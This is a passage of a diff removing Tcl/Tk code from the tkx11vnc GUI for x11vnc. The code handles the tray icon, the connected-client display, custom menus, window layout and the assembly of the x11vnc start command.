- set client_balloon "${client_balloon}\n$nid $user\@$host"
- if {$vo == "1"} {
- set client_balloon "${client_balloon} - view"
- lappend client_id_list "$id:$user\@$host - view"
- } else {
- set client_balloon "${client_balloon} - full"
- lappend client_id_list "$id:$user\@$host - full"
- }
- } else {
- set i [expr $count+1]
- if {$i == 1} {
- set client_balloon "${client_balloon}\nunknown-host$i"
- }
- }
- incr count
- }
- if {$count == 0} {
- set client_balloon "${client_balloon}\nNo connections."
- }
- icon_win_cfg $count
-}
-
-proc read_client_info {channel} {
- global x11vnc_client_file client_str client_info_read
- global read_client_info_lock
- global read_clients
- set db 0
-
- set read_clients 0
-
- if {![info exists read_client_info_lock]} {
- set read_client_info_lock 0
- }
-
- if {$channel != ""} {
-
- if {$read_client_info_lock} {
- return
- }
- set read_client_info_lock 1
- after 100
- set str ""
- set count [gets $channel str]
- if {$db} {puts stderr "read_client_info-$channel: $str"}
-
- if {$count == -1 || [eof $channel]} {
- close $channel
- catch {file delete $x11vnc_client_file}
- set read_client_info_lock 0
- clean_icon_exit
- }
- if {$count > 0 && ![regexp {^[ ]*$} $str]} {
- set client_info_read 1
- if {$str == "quit"} {
- catch {file delete $x11vnc_client_file}
- set read_client_info_lock 0
- clean_icon_exit
- } elseif {$str == "skip"} {
- ;
- } elseif [regexp {^clients:} $str] {
- regsub {^clients:} $str "" str
- set read_clients 1
- if {$str == "none"} {
- set str ""
- }
- update_clients_menu $str
- set client_str $str
- set_client_balloon $str
- }
- }
- set read_client_info_lock 0
- }
-}
-
-proc check_set_vnc_display {} {
-
- global read_clients check_set_vnc_display_done
-
- if {[info exists check_set_vnc_display_done]} {
- return
- }
- if {[info exists read_clients]} {
- if {$read_clients} {
- after 250
- query_all
- global client_str
- set_client_balloon $client_str
- set check_set_vnc_display_done 1
- }
- }
-}
-
-proc read_client_tail {} {
- global client_tail
-
- if {$client_tail != ""} {
- read_client_info $client_tail
- check_set_vnc_display
- }
-}
-
-proc read_client_sock {} {
- global client_sock
-
- if {$client_sock != ""} {
- read_client_info $client_sock
- check_set_vnc_display
- }
-}
-
-proc show_client_balloon {} {
- global icon_mode icon_win props_win full_win
- global client_balloon ffont connected_to_x11vnc
-
- set noinfo "tkx11vnc: no client information"
- set noinfo "$noinfo\navailable from x11vnc ..."
- if ![info exists client_balloon] {
- set client_balloon $noinfo
- }
- if {$client_balloon == ""} {
- set client_balloon $noinfo
- }
- if {! [info exists icon_win]} {
- return
- } elseif {$icon_win == ""} {
- return
- } elseif {! [winfo exists $icon_win]} {
- return
- }
-
- set x [expr [winfo rootx $icon_win] + ([winfo width $icon_win]/2)]
- set y [expr [winfo rooty $icon_win] + [winfo height $icon_win] + 4]
-
- set infotext $client_balloon
- if {!$connected_to_x11vnc} {
- set infotext "Not currently attached to x11vnc\nLast available info:\n$infotext"
- }
-
- set w .client_balloon
- catch {destroy $w}
- toplevel $w -bg black -screen [winfo screen $icon_win]
- wm overrideredirect $w 1
- label $w.l -text "$infotext" -relief flat -bg "#ffffaa" -fg black \
- -padx 2 -pady 0 -anchor w -justify left -font $ffont
- pack $w.l -side left -padx 1 -pady 1
-
- set w2 [winfo reqwidth $w.l]
- set h2 [winfo reqheight $w.l]
-
- set W [winfo screenwidth $w]
- set H [winfo screenheight $w]
-
- if {[expr $x+$w2] > $W} {
- set w3 [winfo width $icon_win]
- set x [expr "$W - $w2 - $w3 - 4"]
- }
- if {[expr $y+$h2] > $H} {
- set h3 [winfo height $icon_win]
- set y [expr "$H - $h2 - $h3 - 4"]
- }
-
- wm geometry $w +${x}+${y}
-}
-
-proc kill_client_balloon {} {
- global client_balloon_id client_balloon_win
- if [info exists client_balloon_id] {
- catch {after cancel $client_balloon_id}
- }
- if [winfo exists .client_balloon] {
- destroy .client_balloon
- }
-}
-
-proc icon_win_cfg {clients} {
- global icon_win client_tail client_sock client_info_read
-
- if {! [info exists icon_win]} {
- return
- } elseif {$icon_win == ""} {
- return
- } elseif {! [winfo exists $icon_win]} {
- return
- }
- if {$clients > 0} {
- $icon_win configure -bg black -fg white
- } else {
- $icon_win configure -bg white -fg black
- }
-
- if {$client_tail == "" || !$client_info_read} {
- if {$client_sock == ""} {
- $icon_win configure -fg red
- }
- }
-}
-
-proc server_accept {sock addr port} {
- global socket_cookie server socket_got_callback
- global client_tail client_sock
- set db 0
-
- if {$db} {puts stderr "sock=$sock addr=$addr port=$port"}
-
- update; update idletasks
- after 50
- update; update idletasks
- set count [gets $sock str]
-
- if {$count >= 0} {
- set str [string trim $str]
- if {$db} {puts stderr "server_accept: \"$str\""}
- if {$str == "COOKIE:$socket_cookie"} {
- set client_sock $sock
- if {$db} {puts stderr "cookie matched. $client_sock"}
- } else {
- if {$db} {puts stderr "cookie NO matched."}
- }
- }
- catch {close $server}
- set socket_got_callback 1
- if {$db} {puts stderr "socket_got_callback $socket_got_callback"}
-}
-
-proc try_client_info_sock {} {
- global socket_cookie server socket_got_callback
- global x11vnc_started x11vnc_xdisplay hostname client_sock
- global x11vnc_xdisplay0 menu_var
-
- set db 0
-#dtime t1
- set start 13037
- set tries 100
- set socket_got_callback 0
-
- set xd $x11vnc_xdisplay
- if {$xd == "" && $x11vnc_xdisplay0 != ""} {
- set xd $x11vnc_xdisplay0
- }
- if {$xd == "" && [info exists menu_var(display)]} {
- set xd $menu_var(display)
- }
-
- set myaddr ""
- regsub {\..*$} $hostname "" shost
- if {$x11vnc_started} {
- set myaddr "127.0.0.1"
- } elseif {$xd != ""} {
- if {[regexp {^:} $xd]} {
- set myaddr "127.0.0.1"
- } elseif {[regexp -nocase "^$shost" $xd]} {
- set myaddr "127.0.0.1"
- } elseif {[regexp -nocase "^localhost" $xd]} {
- set myaddr "127.0.0.1"
- } else {
- set myaddr $hostname
- }
- } else {
- set myaddr $hostname
- }
-
- for {set i 0} {$i <= $tries} {incr i} {
- set port [expr $start + $i]
- set server [socket -server server_accept -myaddr $myaddr $port]
- if {$server == ""} {
- continue
- }
- if {[eof $server]} {
- continue
- }
- set err ""
- catch {set err [fconfigure $server -error]}
- #puts "err: $server: $err"
- if {$err == ""} {
- break
- }
- }
- if {$server == ""} {
- append_text "try_client_info_sock: server socket failed.\n"
- return
- }
- if {! $x11vnc_started} {
- run_remote_cmd [list "-nosync" "-R" "noop"]
- if {$db} {dtime A}
- after 250
- if {$db} {dtime A}
- }
-
- # set the cookie to some obscured randomness
- set socket_cookie [clock clicks]
- set r [expr rand()]
- if {$r != ""} {
- append socket_cookie $r
- }
- set r ""
- catch {set r [winfo id .]}
- if {$r != ""} {
- append socket_cookie $r
- }
- if {[regexp {([0-9])([0-9])$} [clock clicks] m m1 m2]} {
- regsub -all {\.} $socket_cookie $m1 socket_cookie
- regsub -all {x} $socket_cookie $m2 socket_cookie
- }
- run_remote_cmd [list "-nosync" "-R" \
- "client_info_sock:$myaddr:$port:$socket_cookie"]
-#dtime t2
- if {$db} {puts "client_info_sock:$myaddr:$port:$socket_cookie"}
- for {set i 0} {$i < 10} {incr i} {
- after 50
- update; update idletasks
-#dtime aa
- if {$socket_got_callback != 0} {
-#puts "break-"
- break
- }
- }
-#dtime t3
-
- set aftid ""
- if {$socket_got_callback == 0} {
- set aftid [after 10000 {set socket_got_callback 2}]
- tkwait variable socket_got_callback
- }
-
- if {$aftid != ""} {
- catch {after cancel $aftid}
- }
-
- if {$socket_got_callback != 1} {
- puts stderr "try_client_info_sock failed: no callback\n"
- catch {close $server}
- } else {
- setup_client_sock 1
- }
-#dtime t4
-}
-
-proc set_icon_label {} {
- global icon_win
-
- set lab [get_icon_label]
-
- if {! [info exists icon_win]} {
- return
- } elseif {$icon_win == ""} {
- return
- } elseif {! [winfo exists $icon_win]} {
- return
- }
-
- if {[info exists icon_win]} {
- $icon_win configure -text $lab
- }
-}
-
-proc get_icon_label {{set 0}} {
- global icon_minimal
-
- set lab0 "x11\nvnc"
-
- if {$icon_minimal} {
- set lab [get_vnc_display_number]
- if {$lab != "none"} {
- #set lab " :$lab"
- set lab ":$lab"
- } else {
- set lab "-"
- }
- } else {
- set lab $lab0
- }
- return $lab
-}
-
-# currently unused
-proc lmenu {menu} {
- global popup_cascade_posted
- global left_iconwin_menu
- set left_iconwin_menu 1
- after 100
- update
- if {!$popup_cascade_posted && $left_iconwin_menu} {
- for {set i 0} {$i < 3} {incr i} {
- after 100
- update
- }
- if {!$popup_cascade_posted && $left_iconwin_menu} {
- $menu unpost
- return
- }
- }
- # kludge for WindowView
- if {$popup_cascade_posted} {
- focus $menu
- }
-}
-
-proc old_balloon {} {
- global client_str saved_clients_str
- set str ""
- if {[info exists client_str]} {
- if {$client_str != ""} {
- set str $client_str
- }
- }
- if {$str == ""} {
- if {[info exists saved_clients_str]} {
- set str $saved_clients_str
- }
- }
- if {$str != ""} {
- set_client_balloon $str
- }
-}
-
-proc get_custom_menu_items {} {
- global env custom_last_read
-
- if {![info exists custom_last_read]} {
- set custom_last_read 0
- }
- if {[info exists env(X11VNC_CUSTOM_GUI)]} {
- set custom "$env(X11VNC_CUSTOM_GUI)"
- } elseif {![info exists env(HOME)]} {
- return [list "none"]
- } else {
- set custom "$env(HOME)/.x11vnc.gui"
- }
- if {![file exists $custom]} {
- return [list "none"]
- }
-
-# if {[file mtime $custom] <= $custom_last_read} {
-# return [list "nochange"]
-# }
-
- set in ""
- catch {set in [open $custom "r"]}
- if {$in == ""} {
- return [list "none"]
- }
-
- set custom_last_read [clock seconds]
-
- set count 0
- while {[gets $in line] > -1} {
- if {[regexp {^[ \t]*#} $line]} {
- continue
- }
- set line [string trim $line]
- if {$line != ""} {
- lappend items $line
- incr count
- }
- }
- close $in
-
- if {$count > 0} {
- return $items
- } else {
- return [list "none"]
- }
-}
-
-proc make_custom_menu {menu font} {
- set items [get_custom_menu_items]
- set i0 [lindex $items 0]
- catch {$menu delete 0 end}
- if {$i0 != "none"} {
- $menu add command -font $font -label "Custom items:"
- $menu add separator
- foreach item $items {
- if {$item == "sep" || $item == "separator"} {
- $menu add separator
- continue
- }
- if {[regexp {^action:(.*)$} $item m action]} {
- $menu add command -font $font -label "$action" \
- -command "do_var $action"
- continue
- }
- $menu add command -font $font -label "$item" \
- -command "run_remote_cmd \[list \"-R\" \"$item\"\]"
- }
- }
-}
-
-proc make_icon {} {
- global icon_mode icon_embed_id icon_win props_win full_win
- global tray_embed tray_running env
- global x11vnc_client_file client_tail client_sock client_str saved_clients_str
- global client_balloon_id
- global bfont sfont snfont ffont
- global icon_minimal gui_start_mode
- global popup_cascade_posted menu_var x11vnc_gui_geom
- set min_x 24
- set min_y 24
-
- set font $bfont
- set mfont $font
-
- if {$tray_embed} {
- set font $sfont
- set mfont $snfont
- }
- if {[info exists env(X11VNC_ICON_FONT)]} {
- set font $env(X11VNC_ICON_FONT)
- }
- if {[regexp {([0-9][0-9]*)x([0-9][0-9]*)} $x11vnc_gui_geom m mx my]} {
- if {$mx < $min_x} {
- set min_x $mx
- }
- if {$my < $min_y} {
- set min_y $my
- }
- }
- wm minsize . $min_x $min_y
-
- if {$tray_embed && $tray_running} {
- wm withdraw .
- }
-
- set l .icon
- set icon_win $l
- catch destroy {$icon_win}
- if {$icon_minimal} {
- set bw 1
- } else {
- set bw 5
- }
- set lab [get_icon_label]
- label $l -text $lab -borderwidth $bw -font $font
- icon_win_cfg 0
-
-
- set popup_cascade_posted 0
- pack $l -fill both -expand 1
- set menu "$l.menu"
- menu $menu -tearoff 0 -postcommand "popup_post $menu"
- $menu add command -font $mfont -label "Properties" -command do_props
- $menu add command -font $mfont -label "Help" -command "menu_help Tray"
- $menu add command -font $mfont -label "Logfile" -command show_logfile
- $menu add separator
- $menu add command -font $mfont -label "New Client" -command do_new_client
-
- set wd "$menu.disconnect"
- catch {destroy $wd}
- menu $wd -tearoff 0 -font $ffont \
- -postcommand {set popup_cascade_posted 1}
- $wd add command -label "Disconnect client:"
- $wd add separator
- $wd add command -label "All Clients" -command do_disconnect_all
- $menu add cascade -font $mfont -label "Disconnect:" -menu $wd
-
- $menu add separator
-
- set wv "$menu.windowview"
- catch {destroy $wv}
- menu $wv -tearoff 0 -font $ffont \
- -postcommand {set popup_cascade_posted 1}
- foreach val {full icon tray} {
- $wv add radiobutton -label "$val" \
- -value "$val" -font $ffont \
- -command "do_var WindowView" \
- -variable menu_var(WindowView)
- }
- $menu add cascade -font $mfont -label "Window View:" -menu $wv
-
- $menu add command -font $mfont -label "Dismiss" -command "$menu unpost"
- $menu add command -font $mfont -label "Stop x11vnc" -command clean_icon_exit
-
- set items [get_custom_menu_items]
- set i0 [lindex $items 0]
- if {$i0 != "none" && $i0 != "nochange"} {
- $menu add separator
- set cm "$menu.custom"
- catch {destroy $cm}
- menu $cm -tearoff 0 -font $ffont \
- -postcommand "set popup_cascade_posted 1; make_custom_menu $cm $ffont"
- $menu add cascade -font $mfont -label "Custom:" -menu $cm
- }
-
- bind $icon_win <ButtonRelease-1> "pmenu $menu %X %Y"
- bind $icon_win <ButtonRelease-3> "pmenu $menu %X %Y"
- bind $icon_win <Enter> {set client_balloon_id [after 500 show_client_balloon]}
- bind $icon_win <Button> {kill_client_balloon}
- bind $icon_win <Leave> {kill_client_balloon}
- bind $icon_win <Shift-ButtonRelease-1> {kill_client_balloon; show_client_balloon}
- bind $icon_win <ButtonRelease-2> {kill_client_balloon; show_client_balloon}
-# bind $menu <Leave> "lmenu $menu"
-# bind $menu <Enter> "set left_iconwin_menu 0"
-# bind $menu <KeyPress-Escape> "$menu unpost"
-
- bind . <Control-KeyPress-c> {destroy .; exit 0}
-
- if {!$tray_embed || !$tray_running} {
- global x11vnc_gui_geom
- if {$x11vnc_gui_geom != ""} {
- set doit 1
- if {[regexp {x} $x11vnc_gui_geom]} {
- if {$gui_start_mode == "full"} {
- set doit 0
- }
- }
- if {$doit} {
- wm geometry . $x11vnc_gui_geom
- }
- }
- }
- wm iconname . "tkx11vnc"
- wm title . "tkx11vnc"
- update
- if {$tray_embed && $tray_running} {
- #wm deiconify .; # why did we have this???
- #after 10000 {wm deiconify .; puts "reqheight [winfo reqheight .]"; puts "reqwidth [winfo reqwidth .]"; puts "height [winfo height .]"; puts "width [winfo width .]"}
- } else {
- wm deiconify .
- }
- update
-
-#puts "reqheight [winfo reqheight .]"
-#puts "reqwidth [winfo reqwidth .]"
-#puts "height [winfo height .]"
-#puts "width [winfo width .]"
-#puts "AAA"
-
- old_balloon
-}
-
-proc setup_client_channel {} {
- global client_sock client_tail
-
-# XXX/setup_client_channel
- if {$client_sock == "" } {
- stop_watch on
- try_client_info_sock
- if {$client_sock == "" } {
- after 500
- try_client_info_sock
- }
- stop_watch off
- }
- if {$client_tail == "" && $client_sock == ""} {
- set m "\n"
- set m "${m}tkx11vnc:\n"
- set m "${m}\n"
- set m "${m} Warning -- running in icon/tray mode but the\n"
- set m "${m} connected client info channel from x11vnc is\n"
- set m "${m} not working. The viewer client list and icon\n"
- set m "${m} color indicator will not be accurate.\n"
- set m "${m}\n"
- set m "${m} You may need to restart \"x11vnc -gui tray ...\"\n"
- set m "${m} for this to work properly.\n"
- set m "${m}\n"
- textwin "Warning" "Warning" $m
- update
- }
- dtime C
-}
-
-proc clean_client_tail {} {
- global client_tail client_info_read
- if [info exists client_tail] {
- if {$client_tail != ""} {
- set p ""
- catch {set p [pid $client_tail]}
- if {$p != ""} {
- catch {exec kill -TERM $p >/dev/null 2>/dev/null}
- }
- catch {close $client_tail}
- set client_tail ""
- }
- }
- set client_info_read 0
-}
-
-proc clean_icon_exit {} {
- clean_client_tail
- push_new_value "stop" "stop" 1 0
- set_connected no
- update
- destroy .
- exit
-}
-
-proc make_gui {mode} {
- global icon_mode tray_embed tray_running full_win icon_win
- global top_widget_names x11vnc_gui_geom
- global gui_current_state make_gui_count
- global x11vnc_connect connected_to_x11vnc
- global x11_display
- global gui_start_mode
-
- incr make_gui_count
-
- if {$gui_start_mode == ""} {
- set gui_start_mode $mode
- }
-
- wm withdraw .
-
- set full_geom ""
- if {[winfo exists .full]} {
- catch {set full_geom [wm geometry .full]}
- }
-
- set fw .full
- set full_win $fw
- catch {pack forget $full_win}
- catch {pack forget $icon_win}
- catch {destroy $full_win}
- catch {destroy $icon_win}
-
- wm minsize . 1 1
-
- set gui_current_state ""
-
- if {$mode == "full"} {
- frame $fw
- set icon_mode 0
-
- wm protocol . WM_DELETE_WINDOW "destroy .; exit"
- make_widgets $fw
-
- set w "."
- wm geometry $w ""
- if {$x11vnc_gui_geom != ""} {
- set doit 1
- if {[regexp {x} $x11vnc_gui_geom]} {
- if {$gui_start_mode != $mode} {
- set doit 0
- }
- }
- if {$doit} {
- wm geometry $w $x11vnc_gui_geom
- }
- }
- pack $fw -fill both -expand 1
-
- } elseif {$mode == "icon" || $mode == "tray"} {
-
- toplevel $fw
- wm withdraw $fw
-
- wm protocol $fw WM_DELETE_WINDOW "wm withdraw .full"
- wm protocol . WM_DELETE_WINDOW "clean_icon_exit"
-
- if {$mode == "icon"} {
- set tray_embed 0
- } elseif {$mode == "tray"} {
- set tray_embed 1
- }
- set icon_mode 1
- make_widgets $fw
- set w $fw
- make_icon
- wm geometry $fw ""
- wm geometry . ""
- } else {
- return
- }
- set_view_variable $mode
- set gui_current_state $mode
-
-
- update
- if {!$tray_embed || !$tray_running} {
- wm deiconify .
- }
- update idletasks
- wm minsize $w [winfo width $w] [winfo height $w]
- if {$mode == "full" && $make_gui_count > 1} {
- center_win .
- }
-
-
- if {$make_gui_count == 1} {
- copy_default_vars
- if {$x11vnc_connect} {
- try_connect_and_query_all
- } else {
- insert_cmdline_vars
- }
- } else {
- set_name "RESTORE"
- }
-
- setup_client_tail
-
- set_widgets
-
- if {$mode == "tray"} {
- setup_tray_embed
- }
-}
-
-proc make_widgets {top} {
- global template make_gui_count
- global menu_b menu_m menu_count
- global item_opts item_bool item_case item_menu item_entry menu_var unset_str
- global item_cascade
- global info_label info_str x11_display vnc_display
- global text_area text_area_str
- global entry_box entry_str entry_set entry_label entry_ok entry_browse
- global entry_help entry_skip
- global bfont ffont beginner_mode
- global helptext helpremote helplabel
- global icon_mode icon_win props_win full_win
- global top_widget_names
- global screen_height screen_width
-
-
- # Make the top label
- set label_width 84
- if {$screen_width <= 400} {
- set label_width 64
- }
- set info_label "$top.info"
- label $info_label -textvariable info_str -bd 2 -relief groove \
- -anchor w -width $label_width -font $ffont
- pack $info_label -side top -fill x -expand 0
-
- set top_widget_names(info) $info_label
-
- # Extract the Rows:
- set row 0;
- set colmax 0;
- foreach line [split $template "\n"] {
- if {[regexp {^Row: (.*)} $line rest]} {
- set col 0
- foreach case [split $rest] {
- if {$case == "" || $case == "Row:"} {
- continue
- }
- set menu_row($case) $row
- set menu_col($case) $col
-
- lappend cases($col) $case;
- set len [string length $case]
- if {[info exists max_len($col)]} {
- if {$len > $max_len($col)} {
- set max_len($col) $len
- }
- } else {
- set max_len($col) $len
- }
- incr col
- if {$col > $colmax} {
- set colmax $col
- }
- }
- incr row;
- }
- }
-
- # Make frames for the rows and make the menu buttons.
- set f "$top.menuframe"
- frame $f
- for {set c 0} {$c < $colmax} {incr c} {
- set colf "$f.menuframe$c"
- frame $colf
- pack $colf -side left -fill y
- set fbg [$colf cget -background]
- foreach case $cases($c) {
- set menub "$colf.menu$case";
- set menu "$colf.menu$case.menu";
- set menu_b($case) $menub
- set menu_m($case) $menu
- set ul 0
- foreach char [split $case ""] {
- set char [string tolower $char]
- if {![info exists underlined($char)]} {
- set underlined($char) 1
- break
- }
- incr ul
- }
- global osname
- set tstr "$case"
- if {$osname == "Darwin"} {
- #set tstr " $case "
- }
- menubutton $menub -text "$tstr" -underline $ul \
- -anchor w -menu $menu -background $fbg \
- -font $bfont
- pack $menub -side top -fill x
- menu $menu -tearoff 0 -postcommand menu_posted
- }
- }
- pack $f -side top -fill x
- set top_widget_names(menuframe) $f
-
- make_menu_items
-
- # Make the x11 and vnc display label bar:
- set df "$top.displayframe"
- frame $df -bd 1 -relief groove
- set top_widget_names(displayframe) $df
-
- set df_x11 "$df.xdisplay"
-
- if {$make_gui_count == 1} {
- no_x11_display
- }
- set lw [expr {$label_width / 2}]
- label $df_x11 -textvariable x11_display -width $lw -anchor w \
- -font $ffont
-
- set df_vnc "$df.vdisplay"
-
- if {$make_gui_count == 1} {
- no_vnc_display
- }
- label $df_vnc -textvariable vnc_display -width $lw -anchor w \
- -font $ffont
-
- pack $df_x11 $df_vnc -side left
- pack $df -side top -fill x
-
- # text area
- global text_height
- set text_area "$top.text"
- if {$screen_width <= 400} {
- text $text_area -height $text_height -width $label_width \
- -relief ridge -font $ffont
- } else {
- text $text_area -height $text_height -relief ridge -font $ffont
- }
- pack $text_area -side top -fill both -expand 1
- set top_widget_names(text) $text_area
-
-
- if {$text_area_str == ""} {
- set str "Click Help -> gui for overview."
- append_text "\n$str\n\n"
- } else {
- append_text $text_area_str
- }
-
- # Make entry box stuff
- set ef "$top.entryframe"
- frame $ef -bd 1 -relief groove
- set top_widget_names(entryframe) $ef
-
- # Entry Label
- set ef_label "$ef.label"
- label $ef_label -textvariable entry_str -anchor w -font $bfont
-
- set entry_str "Set... : "
- set ef_entry "$ef.entry"
- entry $ef_entry -relief sunken -font $ffont
- bind $ef_entry <KeyPress-Return> {set entry_set 1}
- bind $ef_entry <KeyPress-Escape> {set entry_set 0}
-
- set ok_s "OK"
- set cancel_s "Cancel"
- set help_s "Help"
- set browse_s "Browse..."
- global osname
- if {$osname == "Darwin"} {
- set ok_s " OK "
- set cancel_s " Cancel "
- set help_s " Help "
- set browse_s " Browse... "
- }
-
- # Entry OK button
- set bpx "1m"
- set bpy "1"
- set hlt "0"
- set ef_ok "$ef.ok"
- button $ef_ok -text $ok_s -pady $bpy -padx $bpx -command {set entry_set 1} \
- -highlightthickness $hlt \
- -font $bfont
-
- # Entry Skip button
- set ef_skip "$ef.skip"
- button $ef_skip -text $cancel_s -pady $bpy -padx $bpx -command {set entry_set 0} \
- -highlightthickness $hlt \
- -font $bfont
-
- # Entry Help button
- set ef_help "$ef.help"
- button $ef_help -text $help_s -pady $bpy -padx $bpx -command \
- {menu_help $entry_dialog_item} -font $bfont \
- -highlightthickness $hlt
-
- # Entry Browse button
- set ef_browse "$ef.browse"
- button $ef_browse -text $browse_s -pady $bpy -padx $bpx -font $bfont \
- -highlightthickness $hlt \
- -command {entry_insert [tk_getOpenFile]}
-
- pack $ef_label -side left
- pack $ef_entry -side left -fill x -expand 1
- pack $ef_ok -side right
- pack $ef_skip -side right
- pack $ef_help -side right
- pack $ef -side bottom -fill x
-
- set entry_ok $ef_ok
- set entry_skip $ef_skip
- set entry_help $ef_help
- set entry_box $ef_entry
- set entry_browse $ef_browse
- set entry_label $ef_label
- entry_disable
-
-}
-
-proc menu_bindings {m} {
- set db 0
- if {$db} {puts "menu_bindings $m"}
-
- bind $m <<MenuSelect>> {
-#syntax hilite bug \
-MenuSelect>>
- set n [%W index active]
- set db 0
- if {$db} {puts stderr "menu_bindings %W $n"}
- set label " "
- if {$n != "none"} {
- set str %W,$n
- set which ""
-
- if {$db} {puts "menu_bindings $str"}
- if {[info exists helplabel($str)]} {
- set vname [format %%-16s $helplabel($str)]
- set label "Click (?) for help on: $vname"
- set which $helplabel($str)
- }
- if {$which == ""} {
- ;
- } elseif {$which == "passwd" || $which == "viewpasswd"} {
- ;
- } elseif {[is_action $which]} {
- if {[info exists menu_var($which)]
- && $menu_var($which) != ""} {
- set label "$label value: $menu_var($which)"
- } else {
- set label "$label (is action)"
- }
- } elseif {[info exists menu_var($which)]} {
- set label "$label value: $menu_var($which)"
- if {$which == "http"} {
- global vnc_url
- set label "$label URL: $vnc_url"
- }
- }
- }
- set_info $label
- }
-}
-
-proc key_bindings {} {
- global env menus_disabled
- if {[info exists env(USER)] && $env(USER) == "runge"} {
- # quick restart
- bind . <Control-KeyPress-k> {exec $argv0 $argv &; destroy .}
- }
- bind . <Control-KeyPress-p> { \
- global menus_disabled; \
- if {!$menus_disabled} {try_connect_and_query_all} \
- }
- bind . <Control-KeyPress-u> { \
- global menus_disabled; \
- if {!$menus_disabled} {query_all 0} \
- }
- bind . <Control-KeyPress-r> { \
- global menus_disabled; \
- if {!$menus_disabled} {query_all 0} \
- }
- bind . <Control-KeyPress-d> { \
- global menus_disabled; \
- if {!$menus_disabled} {detach_from_display} \
- }
- bind . <Control-KeyPress-a> { \
- global menus_disabled; \
- if {!$menus_disabled} {try_connect_and_query_all} \
- }
-}
-
-proc stop_watch {onoff} {
- global orig_cursor text_area entry_box
-
- set widgets [list .]
- if [info exists text_area] {
- if {$text_area != ""} {
- lappend widgets $text_area
- }
- }
- if [info exists entry_box] {
- if {$entry_box != ""} {
- lappend widgets $entry_box
- }
- }
-
- if {$onoff == "on"} {
- foreach item $widgets {
- if {![winfo exists $item]} {
- continue
- }
- $item config -cursor {watch}
- }
- } else {
- foreach item $widgets {
- if {![winfo exists $item]} {
- continue
- }
- $item config -cursor {}
- }
- }
- update
-}
-
-proc double_check_noremote {} {
- set msg "\n\n"
- append msg "*** WARNING: setting \"noremote\" will disable ALL remote control commands (i.e.\n"
- append msg "*** WARNING: *this* gui will be locked out). Do you really want to do this?\n"
- append msg "*** WARNING: If so, press \"OK\", otherwise press \"Cancel\"\n"
- append msg "\n"
- bell
- return [warning_dialog $msg "noremote"]
-}
-
-proc get_settings_rcfile {} {
- global menu_var default_var unset_str
- global x11vnc_gui_params
-
- set rc_txt ""
-
- set menu_var(gui) $x11vnc_gui_params
-
- foreach item [lsort [array names menu_var]] {
- if {$item == "gui"} {
- ;
- } elseif {![active_when_starting $item]} {
- continue
- } elseif {[is_action $item]} {
- continue
- }
- if {$item == "debug_gui"} {
- continue
- } elseif {$item == "WindowView"} {
- continue
- } elseif {$item == "rc" || $item == "norc"} {
- continue
- } elseif {$item == "loop"} {
- continue
- } elseif {$item == "loopbg"} {
- continue
- }
-
- set def ""
- if {[info exists default_var($item)]} {
- set def $default_var($item)
- }
-
-
- set qst ""
- set hmm "#? "
- if {$item == "display"} {
- set qst $hmm
- } elseif {$item == "desktop"} {
- set qst $hmm
- } elseif {$item == "dontdisconnect"} {
- set qst $hmm
- } elseif {$item == "alwaysshared"} {
- set qst $hmm
- } elseif {$item == "nevershared"} {
- set qst $hmm
- } elseif {$item == "gui"} {
- set qst $hmm
- }
-
- if {![info exists menu_var($item)]} {
- set mv $def
- } else {
- set mv $menu_var($item)
- }
-#puts "item=$item def=$def mv=$mv"
- if {$mv == $unset_str} {
- set mv ""
- }
- set ntab 3
-
- if {$item == "gui" || [value_is_string $item]} {
- set nitem [get_nitem $item]
-
- if {$mv == "" && $def != ""} {
- set qst $hmm
- }
- set n 0
- if {$qst != ""} {
- append rc_txt $qst
- incr n [string length $qst]
- } elseif {$mv == $def} {
- append rc_txt "#d "
- incr n [string length "#d "]
- }
- set mt $mv
- regsub -all {#} $mt {\#} mt
- if {$mt == ""} {
- set mt {""}
- }
- append rc_txt "-$nitem $mt"
-
- if {$mv != $def} {
- set m [string length "-$nitem $mt"]
- incr n $m
- set n [expr $n / 8]
- set c 0
- for {set i $n} {$i <= $ntab} {incr i} {
- append rc_txt "\t"
- incr c
- }
- if {$c == 0} {
- append rc_txt "\t"
- }
- regsub -all {#} $def {\#} def
- if {$def == ""} {
- set def {""}
- }
- append rc_txt "# default: $def"
- }
- append rc_txt "\n"
-
- } elseif {[value_is_bool $item]} {
- set n 0
- if {$qst != ""} {
- append rc_txt $qst
- incr n [string length $qst]
- } elseif {$mv == $def} {
- append rc_txt "#d "
- incr n [string length "#d "]
- }
- if {$def == 1} {
- set dv "on"
- } else {
- set dv "off"
- }
- append rc_txt "-$item"
- set m [string length "-$item"]
- incr n $m
- set n [expr $n / 8]
- for {set i $n} {$i <= $ntab} {incr i} {
- append rc_txt "\t"
- }
- append rc_txt "# default: $dv"
- append rc_txt "\n"
-
- }
- }
- return $rc_txt
-}
-
-proc double_check_start_x11vnc {} {
- global hostname
- set msg [get_start_x11vnc_txt]
- bell
- append msg "\n"
- append msg "*** To run the above command on machine \"$hostname\" (thereby\n"
- append msg "*** starting x11vnc) press \"OK\", otherwise press \"Cancel\".\n"
- return [warning_dialog $msg "start"]
-}
-
-proc get_start_x11vnc_txt {} {
- set cmd [get_start_x11vnc_cmd]
- set str [join $cmd]
- set msg ""
- append msg "\n"
- append msg "==== The command built so far is: ====\n";
- append msg "\n"
- append msg "$str\n"
- return $msg
-}
-
-proc show_start_cmd {} {
- set msg [get_start_x11vnc_txt]
- append_text "$msg\n"
-}
-
-proc get_nitem {item} {
- set nitem $item
- if {$nitem == "screen_blank"} {
- set nitem "sb"
- } elseif {$nitem == "xrandr_mode"} {
- set nitem "xrandr"
- } elseif {$nitem == "unixpw_list"} {
- set nitem "unixpw"
- } elseif {$nitem == "unixpw_nis_list"} {
- set nitem "unixpw_nis"
- } elseif {$nitem == "stunnel_pem"} {
- set nitem "stunnel"
- } elseif {$nitem == "ssl_pem"} {
- set nitem "ssl"
- } elseif {$nitem == "wireframe_mode"} {
- set nitem "wireframe"
- } elseif {$nitem == "solid_color"} {
- set nitem "solid"
- }
- return $nitem
-}
-
-proc get_start_x11vnc_cmd {{show_rc 0}} {
- global cmd_var menu_var default_var unset_str x11vnc_prog
-
- set xterm_cmd "xterm -iconic -geometry 80x35 -title x11vnc-console -e"
-
- set cmd [split $xterm_cmd]
-
- lappend cmd $x11vnc_prog
-
- lappend cmd "-gui"
- lappend cmd "none"
-
- set rc_txt ""
-
- set saw_id 0
-
- foreach item [lsort [array names menu_var]] {
- if {$item == "gui"} {
- continue
- } elseif {![active_when_starting $item]} {
- continue
- } elseif {[is_action $item]} {
- continue
- } elseif {$item == "debug_gui"} {
- continue
- } elseif {$item == "WindowView"} {
- continue
- }
-
